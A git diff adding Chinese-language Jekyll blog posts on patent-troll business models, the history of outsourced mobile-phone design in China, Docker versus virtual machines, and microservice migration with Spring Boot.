+第四，抗辩。例如，苹果申诉HTC侵权，要收取10亿美元的侵权费。专利流氓公司这时候去找HTC谈判，让HTC以自身和专利流氓公司为一个利益主体，以任何一家公司都不可能拥有手机里所有约30万种专利权去和苹果抗辩，反诉苹果侵犯我们两家公司权利。苹果这个时候会将侵权费用赔付金额从10亿美元降到3亿美元。由于为HTC省去了7亿美元，此时，专利流浪公司向HTC收取一定佣金。 + +第五，保护费。假设英特尔公司是专利流氓公司的投资人，专利流氓公司去和英特尔谈判，称英特尔即使是芯片领域老大，但是也不可能拥有芯片领域所有专利。于是，我保证五年内不告你侵权，但是你需要支付保护费。此时，英特尔二话不说，将几亿美金打到账上，专利流氓公司瞬间获得资金。 + +第六，发放专利债。这种盈利模式由投行的人设计，目标客户是那些销售净利润较低的高科技企业。这些企业面临两难境地，一方面缺乏资金进行研发，产品面临淘汰边缘。另一方面，如果投资就会造成亏损，因为研发费用记入当期损益，如果持续亏损，就无法向股东继续融资。所以，专利流氓公司找这些企业谈判，向他们发放专利债，让他们研发新产品、新技术，债务变资产，不记入当期损益。等到3-5年后，企业研发出来的产品上市，获得利润，再连本带利一起归还。 + +这六种变现方式，后三种最为赚钱。 + +我在2013年和专利流氓公司交流时，曾和他们的合伙人戏谑：“你所有利益相关方都很讨厌你，但是你还能挣到钱，很有意思。” HTC不喜欢它，总觉得被讹一笔；投资人英特尔也不喜欢它，我前脚投入钱，你后脚就讹我；光启技术股份有限公司董事长，科学家刘若鹏也对其深恶痛绝。我认为作为一个企业，要想做大、做强，需要与投资人、股东、顾客、合作伙伴保持良好关系。没想到这位合伙人回答说：“我还不喜欢Google呢。” + + +5.2 Google 为何遭人讨厌？ + +这位合伙人说：“Google将我们每个人身上的资源能力都进行变现，而变现了也不雨露均沾。” Google的商业模式就是不断地开发各种各样的产品和技术，然后将产品技术数字化，吸引广告商、变现。例如，我们将自拍发到网上，有人点击，Google就可以将IP卖给广告商以获得盈利；Google地图，未经个人允许将个人地址上传；Google人类基金组计划，开发出各种各样的生物技术，将人类基因测序成本降低，提高便捷性，免费存储，如果有广告商想窥视你的基因状况，交钱就行。迄今为止，Google那么多业务，其实就这一个赚钱。 + +所以，流氓公司的合伙人认为，既然Google未经大家允许，将你们拥有的资源能力卖掉、变现，而全世界都认为Google是一家不作恶的公司，而我们公司，设法把你们的资源能力变现，还给你们分成，怎么能是流氓呢？冤死。这位合伙人逻辑严丝合缝，找不出破绽。 + +当然，如果区块链技术在未来3-5年之内得到普及，Google这种资源变现能力就会降低。我认为区块链最伟大的一点，就是我们拥有自己的数字产权。如果别人想窥探，需要经过我们的允许。 + +通过专利流氓公司和Google的案例证明，我们每个人，每个利益主体都有好多资源能力没有进入到交易的场景中来，原因在于它具有潜在价值，可以通过一个交易结构将潜在价值变成货币收入，这就是商业模式的基本作用。所以，好的商业模式可以将企业所有相关利益方投入最合理的资源，产出最高的结构效率，提高未来企业价值。 + +有了商业模式视角，当你去研究同一个行业的不同企业时，就可以理解它们的差异，了解企业在不同情境下的优势和劣势，基于这个基础去改造、提升一个公司的商业模式。商业模式对互联网、新兴行业及传统行业的公司，对大企业、创业公司都至关重要。商业模式创新是从不同于财务、市场角度思考企业的方式，需要大量的、持续性投入，将带来巨大市场机遇。 \ No newline at end of file diff --git a/_posts/2018-11-09-314-mobile.md b/_posts/2018-11-09-314-mobile.md new file mode 100644 index 0000000..9be59a2 --- /dev/null +++ b/_posts/2018-11-09-314-mobile.md @@ -0,0 +1,79 @@ +--- +layout: post +title: 我来讲讲“华为手机是日本人研发的”这事儿 +pid: 314 +tags: [工业4.0] +--- + +前两天见网上有篇文章讲“华为手机是日本研发的”，某人谄媚嘴脸实在不像话，发了个言，有人建议仔细讲一讲日本手机研发外包的事情，但毕竟时过境迁，资料也未保存，且一些事也不足与人道。但随便侃侃早期手机研发倒也无妨。笔者主持或参与过百来款手机研发，算是有一点发言权。 + +手机研发，日本人2000初年就干不过中国人了，过了快20年还帮着吹牛X，这是什么精神？其实，这是国内较早形成竞争力的行业之一，如德信03年开始承接了诸多海外品牌的研发，甚至成为主要业务，如NEC、三菱、东芝、Philips等，或者通过品牌公司（如华为等）为海外运营商定制；此外还有赛龙、希姆通等。例如笔者手里还留着的一款保时捷奢侈品手机P9521（11年还能卖到5、6万）就出自萨基姆（ID是欧洲的）、现在用的三防手机Sonim XP7s就是前几年希姆通研发（Sonim是三防机的鼻祖，据说是华尔街几个搞金融的货玩儿票玩儿出来的，品牌相当于三防界的Apple）。 + + +1/ IDH （Independent Design House，独立研发公司） + +手机产业是一个比较复杂的产业链，迄今没有任何一家公司可以单肩独挑，所以就有ODM、EMS、OEM等的分工（简单化理解，ODM就是代设计开发、EMS就是代工、OEM就是代工代料甚至代研发），ODM的主角就是IDH，专门为客户提供设计开发服务；实际上很多Design House还提供代料、PCBA（完整功能主板）甚至整机。 + +国内最早的IDH，始于99年12月中国电子信息产业集团和赛龙国际公司合资的中电赛龙；一年后是嘉盛联桥和中天华通；02年经纬科技、国电未来（德信前身）、希姆通、龙旗先后成立；再后，尤其是随着05年MTK（MediaTek.Inc，台湾联发科公司）及再后的展讯方案出世，IDH春笋遇大雨，迅速扩张到08年的千家，包括后来颇有影响力的华勤、优思、鼎为、展英通、闻泰等等。 + +就像Intel、AMD、CY之于PC，手机设计开发也要基于一个核心软硬件的“平台”，如TI、ADI、Skyworks、Philips、Infineon、agree、Broadcom等；各平台按技术架构、性能、迭代成系列，一般就叫某某方案；MTK之前，平台或方案商，给你的只是基本架构和部分参考设计，实用的产品开发完全需要IDH自己去啃。其中最成熟最大佬的当属TI，但TI 80%以上的精力都在支持其主要客户Nokia，自己又是大牌，基本不理其他IDH（所以国内采用TI方案的公司或产品大多胎死或难产）；Philips的远见在于低耗电和对国内IDH的大力支持，所以赛龙和德信都曾经阔过（先后占领国内绝大部分一线品牌，后者还率先在纳斯达克上市）；Infineon偏低端但成熟可靠，经纬等也过了一段好日子，但终究被平台演化缓慢和欧洲人的低效率拖累。 + +05年MTK（及后来的展讯）则开创了turnkey新模式：提供成熟、完整的参考设计，甚至几个人一间办公室就可直接用参考设计出手机主板！前者只给你菜谱，买菜、洗菜、切菜、火候、佐料......靠自己去摸索积累调整；后者像超市的“一烹得”：锅加热、放油、翻炒、出锅、装盘！山寨手机就此兴起，画风大变，当然这是后话。 + + +2/ 品牌商为什么要把研发外包给IDH？ + +手机研发是个技术活儿，但远不止技术活儿。仅开发设计就包括ID（工业设计即外观设计）、UI（界面设计，有的公司并入ID）、MD（结构设计）、Tooling（开模）、HW（硬件设计）、SW（软件设计）、TEST（测试）、TOP（生产技术支持）、QA（品质保证）......一招不慎就可能全盘皆输。 + +还记得04年深圳街头、媒体铺天盖地广告的“雪山飞狐”不？这款赛龙研发的翻盖手机，因转轴内FPC易折断导致失败，差点把康佳移动推上绝路，好在德信A66拍马赶到救得一命；更早的摩托P7689（最早采用蓝色背光，但没像Nokia吹成“蓝色魅影”）、L2000，LCD导电橡胶缺陷，导致仅成品手机粉碎销毁就200K！ + +当时做机，物料采购动辄就是数百K下单，一旦大批物料呆滞，普通品牌公司就可能陷入资金链断裂而无以为继，如南高、科健等（后者的倒掉，直接导火索就是差4000万被告上法院）。 + +时间或交期。2000前后，品牌商自主研发一款手机从立项到量产，可能花2年甚至更长时间，到03年，IDH已压缩到1年左右甚至6个月，最变态的当属海尔V200，故意刁难要求3个月交付（内中故事就不讲了，好在在咬牙切齿下基本满足了）；甚至，笔者曾在07年初的一款手机30天上市，后发先至——当时一款普通手机上市后平均每天掉价5～10元左右，若是晚一两个星期，就可能提前领盒饭了......时间就是金钱时间就是生死啊！产品或企业五要素顺序QCDST（质量、成本、交期、服务、技术）， 当时现实则是DCQST！ + +研发成本。研发的主要成本就是人力，项目周期缩短一半，就大致减少一半；人员效率高，大致再减半；试产样机，按需控制.... + +研发风险。自家炒菜，食材有问题或炒糊了就得挨饿；饭馆点餐，不爽就换一个还可索赔。手机研发本身甚至平台、技术方案发生大问题，轻则产品上市青黄不接，重则game over，尤其对普通品牌而言。 + +2003年Philips的RF芯片缺陷，德信可以集中力量短时间全线突击更换RFMD；美国芯片工厂一场大火，Nokia连夜抢库存赢得缓冲，但曾经前三的爱立信反应迟钝，研发部门又束手无策，就此没落；前面提到的雪山飞狐折戟沉沙，好在就有A66救命...... + +项目管理。手机研发，核心就在项目管理。牛的PM（Project Manager项目经理；有时也指Project Management项目管理）可把死马医成活马，low的PM也能宝马医成木马。PM不合适，IDH可以换人可以重招，N730/738就换了三任PM，不但抢回了耽误的几个月还如期交付；自主研发涉及内部方方面面的背景或原因，就不易咯。 + +项目管理包括时间管理、风险管理、成本管理、质量管理等，其核心的核心就是时间管理：质量再好、成本再低，若不能及时交付，有啥用？ + +西门子手机曾有大批铁粉，尤其外观设计当时堪称风光无二，X系列外观设计相当出彩，好评如潮，但带着伪彩上市的时候，真彩已经遍大街了，情怀终究敌不过胸怀，西门子就此出西门去。顺便乌鸦一嘴，罗锤子产品成为锤子，目测跟PM有大干系。 + +当时几乎所有一线品牌都有自己的手机研发团队，但少有成功产品，最后也几乎都没成气候。所以说，当时手机研发外包，既是必然也不丢人。 + +摩托2002年那款750，就是整机O进来的（O就是ODM、OEM外包的惯语，比如说O进来，就是产品或服务买进来（再以自己的名义卖出去）；O出去，就是花钱把某项产品或服务外包出去。）。华为早期的手机、小灵通，尤其随网络设备捆绑提供给海外运营商的，也几乎都是O来的。 + + +3/ 日系手机外包研发 + +国内IDH之前，国内品牌要买国外的手机设计方案，理不理你另说，卖你也是天价——据说当时韩国人卖个ID就敢开价几十万刀。国内品牌多是SKD（Semi Knocked Down,半散装件进口生产）、CKD（Completed Kits Delivery CKD 全散装件组装出货）、甚至直接买整机进来改头换面，牌照制度+天量市场，简直暴利（IDH销售带着几张ID图到深圳就可能签回几千万的研发订单；传言深圳某品牌老总，当时就积累了20亿）！ + +然而、但是、不过，一旦中国人走自己的路，别人或就无路可走了。 + +日系手机研发外包中国公司，至少可以早至02、03年NEC之于德信的N940（花名Autman；手机研发阶段都有个项目花名，如康佳A66叫Mummy、南高V36叫Pianno、科健K268叫Ogre、摩托V998叫Kramer...）；再后是N730（Lily）、N738（Lily+）等机型，此后三菱等跟进；至04年，NEC又启动了N100/108/109、N620、N620TV、N630、N920、N930、N940+等三个平台的十几款。 + +外包研发的产品如此之多，究其原因，除了上面提到的诸如成本、交期等，还有平台、看好庞大的中国市场，以及国内对日本产品的良好口碑等。 + +研发成本方面，N940是当时世界上第一款上市的带TV的PDA手机（就是说有技术含量的），NRE（外包研发费；不包括每台$20~5的Royalty即提成费）约$250万，日本人还觉着捡了老大便宜，而同期给国内一线品牌一款直板机的研发费大约在￥800万左右甚至买一赠一；在NEC指定的苏州Arima生产，加工费约$15/台而同期国内一般手机是$2左右；03年一台ID mockup（外观模型）在日本大约是$10000而深圳大约是￥10000..... + +日本人有喜欢吃独食的恶习，例如当年要独占东北、彩电生产线卖给中国的要比本土落后几年等等。当时日本品牌多用自己平台，封闭、肥水不流外人田，于是功能、性能迭代缓慢，跟不上潮流；或用TI等找死的平台，人家管杀不管埋；整机研发又相对效率低下，结果嘛，自然考试成绩急剧下滑......最后不得不走上研发外包的道路。 + +日本人有优点值得学习借鉴不假，但以此自轻自贱就严重不对了。例如当时一份研发外包合同，事无巨细，中英文合起来厚得像一本书，这种严谨还是值得借鉴；日本人比较讲理（日方列出长长的质询清单一一化解后，也口服心服照单接受），也值得学习。 + +但其强压、死心眼啥的，还真不敢恭维。举个N730/738研发中的例子：时间过半，模具也开好了才发现耳机座与电池干涉，若电池开缺口会电芯外露不符合安全标准；换用小尺寸耳机座，管脚定义不能兼容N940耳机，日方从下到上坚决不让步，双方僵持不下，项目延宕数月之久，中方为此换掉两任PM；笔者接手后用小尺寸耳机座+软件重定义，半天不到搞定包括验证。你说两款手机耳机不兼容多大点事儿、比之价值数千万的项目死翘翘孰轻孰重？ + +当年手机研发和手机行业，可谓风云际会，酸甜苦辣，不一而足。讲几个小故事。 + +打赌。当时N730/738接手时，项目和人员都不太熟（IDH一般是纵向部门经理，横向项目经理的矩阵式管理）；除了前面提到的耳机座等问题，原项目组已是人心惶惶。愁绪中，跟结构设计工程师（离职申请已获批）抽烟，不知怎就扯到彼此年龄，这兄弟非赌比我大；约定：我输就请他吃饭北京城随他，他输就待730/738结构没事再走。双方欻地拍出身份证，我赢（资深老帅哥嘛，必须的）！这哥们儿也耿直，果然践约，不然中途换将后果难料。 + +死人。日本某著名品牌（就叫S吧，姑隐其名）外包手机开发给北京一家IDH，一款机开始量产时才发现一个严重的研发缺陷而停线，而S公司亟待该款机供货上市，逼得IDH的CEO带队赶到苏州工厂连轴解决问题，十来天后问题解决了，日方一个陪同（监督？）工程师回到酒店后也永远地睡过去了…… + +绑架。北京某小IDH，项目Delay，客户赔了，要求退研发费，自然不得；CEO被约去商谈，结果过多久，来了几个大汉把门，CEO被一群缺胳膊就拐的残疾人圈住，好吃好喝供着，就两字：退钱！里层不敢动、外层动不了；吃不下，睡不了，走不脱。最后实在扛不住，给媳妇儿打电话：卖车！ + +600万求生。C公司当时是无可争议的行业第一，几乎包揽了国内所有一线品牌客户；同为IDH的T公司为后期之秀，部分核心人员来自C；03年10月某天，T公司突然被几十号警察包围，人员清场、电脑逐一被查取证，原因是C报案投T的前离职员工二十余人携走了公司机密；后来嘛，台上台下几经交锋各路斡旋，以T赔偿600万了事，但结果却影响深远：T迅速壮大，抢走C几乎所有国内重要客户，并美国上市；而C就走上下坡路一路下滑…… + +当年手机行业可谓神奇，短短数年，中国一跃而入无线时代，虽然那时手机没有华为没有小米，但他们要感谢那个时代；那个时代，激情燃烧，耗去青春无数，也铺就后来者的星光大道。 diff --git a/_posts/2018-12-12-315-docker.md b/_posts/2018-12-12-315-docker.md new file mode 100644 index 0000000..9e331e5 --- /dev/null +++ b/_posts/2018-12-12-315-docker.md @@ -0,0 +1,104 @@ +--- +layout: post +title: 微服务为什么一定要用docker +pid: 315 +tags: [docker] +--- + +引言 + +早在2013年的时候，docker就已经发行，然而那会还是很少人了解docker。一直到2014年，Martin Fowler提出了微服务的概念，两个不相干的技术终于走在了一起，创造了今天的辉煌！ + +近几年来，很多互联网关系开始跟风，构建docker+微服务的架构体系。然而，根据笔者观察发现，有些童鞋在使用过程中，只是会用，而根本不了解为什么使用docker，反正对他们来说，公司让用就用！而某些公司呢，虽然用上了docker，然而运维方式并没有发生改变，白白浪费了docker的大好性能！ + +因此，才有了本文的诞生。本文不会教你怎么去用什么docker的api，毕竟官网document很全面，而是去讲解docker的优点，进而说明为什么适合微服务的架构！ + +正文 + +这里必须要先说明物理机、虚拟机、容器三者的优缺点。笔者不想去列一堆的概念，直接借用知乎的一个回答，回答地址为: + +https://www.zhihu.com/question/48174633/answer/229253704 + +这里借用一下这位大神的三张图，他的回答就三张图！ + +基本概念 + +所谓的物理机就是下面这样的别墅 + +![](/uploads/2018/12/12-01.jpg) + +那么虚拟机机就是下面这样的套房 + +![](/uploads/2018/12/12-02.jpg) + +最后就是我们的容器，就是下面这样的胶囊公寓 + +![](/uploads/2018/12/12-03.jpg) + +那么，专业的说法就是，容器是一种轻量级、可移植、自包含的软件打包技术，使应用程序可以在几乎任何地方以相同的方式运行。容器之间是共享同一套操作系统资源的，由于容器是共享主操作系统的内核，因此就无法在服务器上运行与主服务器不同的操作系统，也就是说不能再Linux的服务器上运行Windows。就如上面哪个图一样，每个胶囊容器是公用一个厕所，厨房，每个胶囊内无法再构建出自己的厕所和厨房！ + +容器的优势 + +*隔离强* + +过去:曾记得12年那会，部门要上一个项目。那会，我是这么干的。直接去线上服务器，拷贝一个tomcat，然后改端口号，然后部署应用到webapps文件夹下，重启就好。而且我可以摸着良心说，现在还有很多传统企业是这么做的。 +那么这么做的缺点？ + +很明显，应用之间相互影响。一个应用出现问题，CPU100%了，这个服务器上的其他应用一起凉凉。一个大型应用拆分为几十个微服务，分别交由不同的团队开发，不同团队之间水平参差不齐。如果还采用这种部署方式，你的应用和某个坑爹团队的应用部署在了同一台服务器上，至于结果，我相信你懂的。 + +现在:用上了docker容器后，将Docker可以将我们的应用程序打包封装到一个容器中，该容器包含了应用程序的代码、运行环境、依赖库、配置文件等必需的资源。容器之间达到进程级别的隔离，在容器中的操作，不会影响道宿主机和其他容器，这样就不会出现应用之间相互影响的情形！ + +*可移植性* + +过去:曾几何时我们和测试MM之间聊天内容是这样的 + + 开发:"你去测试环境上，按照开发环境一样，再去搭三套一样的测试环境！" + + 测试:"我….." + + 几个小时过去了… + + 测试:"你帮我看看，为什么启动报错，是不是漏配了什么参数?" + + 开发:"我…." + +于是接下来几个小时就这么愉快的和测试mm一起聊天中过去了！！嗯，我相信有些公司是为了解决开发的单身问题，才不使用docker,用心良苦! + +然而，和运维GG之间聊天一般是这样的 + + 运维:"开发这群脑残，发布的新war包，又把生产搞挂了！" + + 开发:"这帮运维傻叉么，我本地好好的，怎么一上生产就不行了！" + + … + +于是接下来的几个小时，就在和运维之间的撕逼中过去了!嗯，最终苦的是用户啊！ + +现在:自从用上docker容器后，可以实现开发、测试和生产环境的统一化和标准化。镜像作为标准的交付件，可在开发、测试和生产环境上以容器来运行，最终实现三套环境上的应用以及运行所依赖内容的完全一致。 +在现在微服务的架构中，一个应用拆成几十个微服务，每个微服务都对应有开发、测试、生产三套环境需要搭建。自己算算，如果采用传统的部署方式，有多少环境需要部署。曾听闻某公司在新建一个项目的时候，要花整整一个礼拜来搭建环境，简直是惨不忍睹! + +什么，你和我说，你们用上了docker，却还存在这些问题？ +笔者曾见过某些公司是这么用docker的。确实虚拟化出容器了，然后在容器上建立ssh server。接下来就厉害了，部署方式完全没变，直接连上容器，一切部署照旧！对此，我也是一言难尽啊！你们这是给领导搭的docker么？ + +*轻量和高效* + +过去:在2016年的时候，那会在另一家大厂工作。这家稍微规范一点了，一个应用部署在一个虚拟机上！当时最大的体会就是一个，虚拟机非常重，构建速度慢，且占用资源多，一台物理机上只能起十来个虚拟机！ + +现在: +和虚拟机相比，容器仅需要封装应用和应用需要的依赖文件，实现轻量的应用运行环境，且拥有比虚拟机更高的硬件资源利用率。在微服务架构中，有些服务负载压力大，需要以集群部署，可能要部署几十台机器上，对于某些中小型公司来说，使用虚拟机，代价太大。如果用容器，同样的物理机则能支持上千个容器，对中小型公司来说，省钱！ + +笔者注：笔者一直觉得这个特性只是一个障眼法。 +比如，你说容器启动速度快？难道你工作中吃饱了撑着没事干，一直重启虚拟机么？ + +你说虚拟机消耗资源多？绝大部分公司的服务器资源利用率应该都不到 50%，大量的CPU、内存、本地磁盘都是常年浪费的，所以 VM 的额外开销不过是浪费了原本就在浪费的资源罢了。所以笔者认为，对于传统应用来说，使用和不使用Docker可能并不能直接给企业带来好处，相反使用中遇到了问题肯定会给企业带来麻烦，对于传统企业来说，不要盲目跟风，VM虚拟机其实够用了！。 + +*总结* + +在技术演进中，docker只是趋势，并不是结果。相信在未来，一定有更高大上的部署架构出现! + +# 参考 + +[微服务为什么一定要用docker](https://mp.weixin.qq.com/s/vqAxTj0A45B76mDPPD3XPQ) + +[docker容器与虚拟机有什么区别？](https://www.zhihu.com/question/48174633) + diff --git a/_posts/2018-12-12-316-docker.md b/_posts/2018-12-12-316-docker.md new file mode 100644 index 0000000..1009bc5 --- /dev/null +++ b/_posts/2018-12-12-316-docker.md @@ -0,0 +1,88 @@ +--- +layout: post +title: 虚拟机与Docker有何不同？ +pid: 316 +tags: [docker] +--- + +译者按: 各种虚拟机技术开启了云计算时代；而Docker，作为下一代虚拟化技术，正在改变我们开发、测试、部署应用的方式。那虚拟机与Docker究竟有何不同呢? + +原文: [Comparing Virtual Machines vs Docker Containers](https://diveintodocker.com/blog/comparing-virtual-machines-vs-docker-containers) + +译者: [Fundebug](https://www.fundebug.com/) + +为了保证可读性，本文采用意译而非直译。另外，本文版权归原作者所有，翻译仅用于学习。 + +首先，大家需要明确一点，Docker容器不是虚拟机。 + +2014年，当我第一次接触Docker的时候，我把它比做一种轻量级的虚拟机。这样做无可厚非，因为Docker最初的成功秘诀，正是它比虚拟机更节省内存，启动更快。Docker不停地给大家宣传，”虚拟机需要数分钟启动，而Docker容器只需要50毫秒”。 + +然而，Docker容器并非虚拟机，我们不妨来比较一下它们。 +理解虚拟机 + +使用虚拟机运行多个相互隔离的应用时，如下图: + +![](/uploads/2018/12/12-04.jpg) + +从下到上理解上图: + +- 基础设施(Infrastructure)。它可以是你的个人电脑，数据中心的服务器，或者是云主机。 +- 主操作系统(Host Operating System)。你的个人电脑之上，运行的可能是MacOS，Windows或者某个Linux发行版。 +- 虚拟机管理系统(Hypervisor)。利用Hypervisor，可以在主操作系统之上运行多个不同的从操作系统。类型1的Hypervisor有支持MacOS的HyperKit，支持Windows的Hyper-V以及支持Linux的KVM。类型2的Hypervisor有VirtualBox和VMWare。 +- 从操作系统(Guest Operating System)。假设你需要运行3个相互隔离的应用，则需要使用Hypervisor启动3个从操作系统，也就是3个虚拟机。这些虚拟机都非常大，也许有700MB，这就意味着它们将占用2.1GB的磁盘空间。更糟糕的是，它们还会消耗很多CPU和内存。 +- 各种依赖。每一个从操作系统都需要安装许多依赖。如果你的的应用需要连接PostgreSQL的话，则需要安装libpq-dev；如果你使用Ruby的话，应该需要安装gems；如果使用其他编程语言，比如Python或者Node.js，都会需要安装对应的依赖库。 +- 应用。安装依赖之后，就可以在各个从操作系统分别运行应用了，这样各个应用就是相互隔离的。 + +理解Docker容器 + +使用Docker容器运行多个相互隔离的应用时，如下图: + +![](/uploads/2018/12/12-05.jpg) + +不难发现，相比于虚拟机，Docker要简洁很多。因为我们不需要运行一个臃肿的从操作系统了。 +从下到上理解上图: + +- 基础设施(Infrastructure)。 +- 主操作系统(Host Operating System)。所有主流的Linux发行版都可以运行Docker。对于MacOS和Windows，也有一些办法”运行”Docker。 +- Docker守护进程(Docker Daemon)。Docker守护进程取代了Hypervisor，它是运行在操作系统之上的后台进程，负责管理Docker容器。 +- 各种依赖。对于Docker，应用的所有依赖都打包在Docker镜像中，Docker容器是基于Docker镜像创建的。 +- 应用。应用的源代码与它的依赖都打包在Docker镜像中，不同的应用需要不同的Docker镜像。不同的应用运行在不同的Docker容器中，它们是相互隔离的。 + +对比虚拟机与Docker + +Docker守护进程可以直接与主操作系统进行通信，为各个Docker容器分配资源；它还可以将容器与主操作系统隔离，并将各个容器互相隔离。虚拟机启动需要数分钟，而Docker容器可以在数毫秒内启动。由于没有臃肿的从操作系统，Docker可以节省大量的磁盘空间以及其他系统资源。 + +说了这么多Docker的优势，大家也没有必要完全否定虚拟机技术，因为两者有不同的使用场景。虚拟机更擅长于彻底隔离整个运行环境。例如，云服务提供商通常采用虚拟机技术隔离不同的用户。而Docker通常用于隔离不同的应用，例如前端，后端以及数据库。 + +如果你对Docker感兴趣的话，不妨学习一下[Dive Into Docker course](https://diveintodocker.com/courses/dive-into-docker)。 + +额外添加 + +作者：正则云科技 +链接：https://www.zhihu.com/question/48174633/answer/180743885 +来源：知乎 +著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。 + +服务器虚拟化 vs Docker + +服务器好比运输码头：拥有场地和各种设备（服务器硬件资源） + +服务器虚拟化好比作码头上的仓库：拥有独立的空间堆放各种货物或集装箱 + +(仓库之间完全独立，独立的应用系统和操作系统） + +Docker比作集装箱：各种货物的打包 + +(将各种应用程序和他们所依赖的运行环境打包成标准的容器,容器之间隔离) + +Docker有着小巧、迁移部署快速、运行高效等特点，但隔离性比服务器虚拟化差：不同的集装箱属于不同的运单（Docker上运行不同的应用实例），相互独立（隔离）。但由同一个库管人员管理（主机操作系统内核），因此通过库管人员可以看到所有集装箱的相关信息（因为共享操作系统内核，因此相关信息会共享）。 + +服务器虚拟化就好比在码头上（物理主机及虚拟化层），建立了多个独立的“小码头”—仓库（虚拟机）。其拥有完全独立（隔离）的空间，属于不同的客户（虚拟机所有者）。每个仓库有各自的库管人员（当前虚拟机的操作系统内核），无法管理其它仓库。不存在信息共享的情况 + +因此，我们需要根据不同的应用场景和需求采用不同的方式使用Docker技术或使用服务器虚拟化技术。例如一个典型的Docker应用场景是当主机上的Docker实例属于单一用户的情况下，在保证安全的同时可以充分发挥Docker的技术优势。对于隔离要求较高的环境如混合用户环境，就可以使用服务器虚拟化技术。 + +# 参考 + +[虚拟机与Docker有何不同？](https://blog.fundebug.com/2017/05/31/docker-and-vm/) + +[Comparing Virtual Machines vs Docker Containers](https://nickjanetakis.com/blog/comparing-virtual-machines-vs-docker-containers) \ No newline at end of file diff --git a/_posts/2018-12-12-317-wfw01.md b/_posts/2018-12-12-317-wfw01.md new file mode 100644 index 0000000..79a6c64 --- /dev/null +++ b/_posts/2018-12-12-317-wfw01.md @@ -0,0 +1,56 @@ +--- +layout: post +title: 【杏仁技术站】乐高式微服务化改造（上） +pid: 317 +tags: [微服务] +--- + +# 微服务简介 + +> 技术圈流行一句话，凡脱离业务谈架构的，都是耍流氓。当新需求响应越来越慢，当加班成为家常便饭，你可曾怀念当年一下午徒手写一千行代码的爽快？面对一个不断吞噬团队时间的庞然大物（单体应用），分而治之往往是最有效的方法。今天我就和大家聊聊我对小公司如何进行微服务化改造的理解和一手经验。 + +有关微服务的定义，最权威的版本莫属微服务之父 Martin Fowler 在 Microservices Resource Guide 一文中所述： + +> In short, the microservice architectural style is an approach to developing a single application as a suite of small services, each running in its own process and communicating with lightweight mechanisms, often an HTTP resource API. These services are built around business capabilities and independently deployable by fully automated deployment machinery. -- James Lewis and Martin Fowler + +注意其中有3个关键词：*small，independently deployable 和 automated deployment。*Small 对应的就是微服务的微，很多初次接触微服务的同学对微的理解往往会停留在实现层面，以为代码少就是微，但实际上，这里的微更多的是体现在逻辑层面。微服务的一个重要设计原则是 share as little as possible，什么意思呢？就是说每个微服务应该设计成边界清晰不重叠，数据独享不共享，也就是我们常说的高内聚、低耦合。保证了 small，才能做到 independently deployable。而实现 automated deployment 的关键是 DevOps 文化，可参见 Fowler 另一篇谈 DevOps 的文章。需要提醒的是，随着业务复杂度的上升，一个微服务可能需要拆分为更多更细粒度的微服务，比方说，一开始只是一个简单的订单服务，后面逐步拆分出清算，支付，结算，对账等其他服务。 + +从本质上来看，相对单体应用，微服务是以牺牲强一致性、提高部署复杂性为代价，换取更彻底的分布式特性，比如异构性和强隔离性。对应 CAP 理论，就是用 Consistency 换 Partition。异构性比较容易理解，通过定义统一的 API 规范（一般采用 REST 风格），每个微服务团队可以根据各自的能力矩阵选用最适合的技术栈，而不是所有人必须使用相同的技术栈。强隔离性指的是，对于一个典型的单体应用，隔离性最高只能体现到模块级别，由于共享同一个代码仓库，模块的边界往往比较模糊，需要人为定义很多规范来保证良好的隔离性，但无论如何强调，稍一疏忽，就会产生“越界”行为，时间愈长，维护隔离性的成本愈高。而到了微服务阶段，自带应用级别的隔离性，“越界”的成本大大提升，无需任何规范，架构本身就保证了隔离性。 + +另一方面，由于采用了分布式架构，微服务无法再简单的通过数据库事务来保证强一致性，而是通过消息中间件或者某种事务补偿机制来保证最终一致性，比如微信朋友圈的点赞，淘宝订单的物流状态。其次，在微服务阶段，随着应用数量的激增，一次发布往往涉及多个应用，加上异构性带来的部署方式的多样性，对团队的运维水平尤其是自动化水平提出了更高的要求，运维和开发的边界进一步模糊。 + +![](/uploads/2018/12/12-06.jpg) + +讲完这些有关微服务的背景知识之后，现在就切入今天的正题，面对快速增长的业务需求，小公司如何进行微服务化改造？下面就以我在杏仁主导实施的微服务化改造的全过程为背景，给大家简单说一下我们微服务化改造的总体思路和核心中间件的技术选型过程。 + +# 项目背景 + +首先介绍一下微服务化改造的背景。去年年初，在历经2年多的产品迭代之后，整个后台应用越来越庞大，已经成为一个典型意义上的 monolithic application：1. 各个业务模块犬牙交错，重复代码随处可见，补丁代码越打越多。2. 任何一个改动都需要一次全量发布，哪怕是修改一句文案，极大的拖慢了迭代速度。 + +与此同时，由于公司电商业务变得越来越复杂，老的业务模型越来越难以满足新的需求，急需对原有的订单模块进行重构，或者抽取一个独立的订单服务来进行支撑。反复考量之后，我们选择了后者。由于是团队第一次试水微服务，并且初期人员有限（一人主导，多人配合），最后我们决定走一条比较实用的改良式路线： + +1. 最小化对已有应用的侵入性 +2. 偏好主流的微服务框架 +3. 只做必要的微服务治理 + +第一条定下了此次改造的基调，降低了方案无法落地的风险，确保了项目的整体可行性。第二条让我们站在巨人的肩膀上，不重复造轮子，聚焦在问题本身，而不是工具。第三条缩减项目范围，避免过度工程，以战养兵，不打无用之仗。 + +下图展示了目前杏仁微服务的整体架构。 + +![](/uploads/2018/12/12-07.jpg) + +# 基本框架 + +基本框架我们选择的是 Spring Boot。Spring Boot 是 Spring开源社区提供的一个去容器、去XML配置的应用框架。和标准的基于 war 包的 Web 应用相比，Spring Boot 应用可以直接以 java -jar 的方式运行，也就是说不再需要部署到一个独立的 Web 容器（比如 Tomcat）中才能运行。其背后的运行机制简单来说就是，当一个 Spring Boot 应用启动时，在加载完核心框架类之后，会启动一个内嵌的 Web 容器（默认是 Tomcat），然后再加载应用本身的各种配置类和 Bean。也就是说不再是容器包应用，而是应用包容器。正是由于这个特性，Spring Boot 非常适用于开发微服务，毫不夸张的说 Spring Boot 就是为微服务而生。 + +![](/uploads/2018/12/12-08.jpg) + +有同学可能会问，不是还有 Dubbo 和 Spring Cloud 吗？Dubbo 是阿里开源的第一代 RPC 框架，早在 2011 年就已经发布了 2.0 版本，三年后也就是 2014 年，Martin Fowler 才提出了微服务的概念。虽然用 Dubbo 也能开发微服务，但这就好比用EJB的规范去开发 Spring Bean，怎么用怎么别扭。Dubbo 最大的问题是升级缓慢，最近一次发布还是 2014 年 10 月，支持的 Spring 版本是 2.5.6.SEC03，要知道 Spring 5 都快出来了。 + 